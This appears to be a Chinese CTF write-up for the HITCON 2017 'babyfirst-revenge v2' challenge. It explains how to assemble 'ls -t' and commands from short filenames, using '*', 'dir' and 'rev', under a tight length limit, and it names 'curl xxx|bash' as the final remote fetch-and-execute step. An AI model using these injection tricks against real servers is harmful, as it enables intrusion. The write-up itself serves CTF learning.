HITCON2017 babyfirst-revenge v2

被5虐过后,现在到4了,没想到难度大很多,这些就记一下总结下来的方法和姿势。先总结ls -t的方法,后面再补充tar的姿势。

1、构造ls -t

在上一题中我们大概知道了构造ls -t的要素,但是在本题中,由于长度的进一步限制,`ls>>_`将无法使用。这就要使用到其他技巧。

技巧0:*

在当前工作目录下使用*命令,会将目录名当作命令执行(顺序)

HITCON2017 babyfirst-revenge v2_第1张图片

HITCON2017 babyfirst-revenge v2_第2张图片

执行*即-t

HITCON2017 babyfirst-revenge v2_第3张图片

执行*s即ls

该方式主要用于执行dir和简化rev命令。

技巧1:dir a b>c

ls>v命令除了会将ls列表写入v,还会将v写入v文件内容中。这就会导致命令多余,由于不能使用>>,所以即使使用\分割命令也没有用。

HITCON2017 babyfirst-revenge v2_第4张图片

但是dir a b>v命令就不一样了,他会将a b直接写入v,所以说我们得构造dir命令

由于ls -t中不可避免使用-,所以这里我们得借助rev命令,先构造ls -t>g的逆向,即使

>sl

>ht-(之所以要引入h,主要是为了保证排序时sl在最后面)

>ha-(可选,如果你在构造curl时,你的部分文件必须以.打头,可通过-a命令把隐藏文件显示出来)

>g\>

>dir

HITCON2017 babyfirst-revenge v2_第5张图片

通过*>v(为什么会是v,会面会说,很有讲究)

技巧2:rev命令

上面我们已经构造了ls -th>g的逆序,现在要使用rev命令,但是我们无法直接执行rev命令,因为长度问题,所以这里还是要借助*的力量,首先我们写入>rev,然后使用*v>_将正序后的ls -th>g写入_文件中

最后就是构造curl xxx|bash,这个跟上一题差不多这里就不多说了,如果在构造ip时无法避免使用.打头(即隐藏文件)可使用-ah命令

HITCON2017 babyfirst-revenge v2_第6张图片

这里不多介绍了,后面刷writeup时,看到有大神说了tar的方法,之后会把这个整理进来

 

未完待续。

你可能感兴趣的:(CTF题解)